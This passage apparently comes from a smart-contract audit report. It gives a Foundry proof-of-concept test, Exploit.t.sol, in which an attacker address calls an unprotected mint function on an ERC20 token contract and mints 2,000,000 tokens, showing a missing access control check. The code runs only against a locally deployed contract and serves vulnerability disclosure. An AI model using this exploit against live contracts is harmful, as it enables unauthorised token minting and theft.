Create a test file named Exploit.t.sol in your unit test directory and insert the bellow code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Test} from "forge-std/Test.sol";
import "../../src/token/ERC20ToGenerateNftFraccion.sol";
contract Exploit is Test {
address public attacker = address(0xBEEF);
ERC20ToGenerateNftFraccion public erc20Contract;
function setUp() public {
erc20Contract = new ERC20ToGenerateNftFraccion("TestToken", "TT");
vm.label(attacker, "Attacker");
}
function testMintExploit() public {
vm.startPrank(attacker);
uint256 amountToMint = 2_000_000 ether;
erc20Contract.mint(attacker, amountToMint);
vm.stopPrank();
uint256 balance = erc20Contract.balanceOf(attacker);
assertEq(balance, amountToMint, "Balanca doesn't match minted amount");
emit log_named_uint("Attacker Token Balance", balance);
}
}
Manual code review.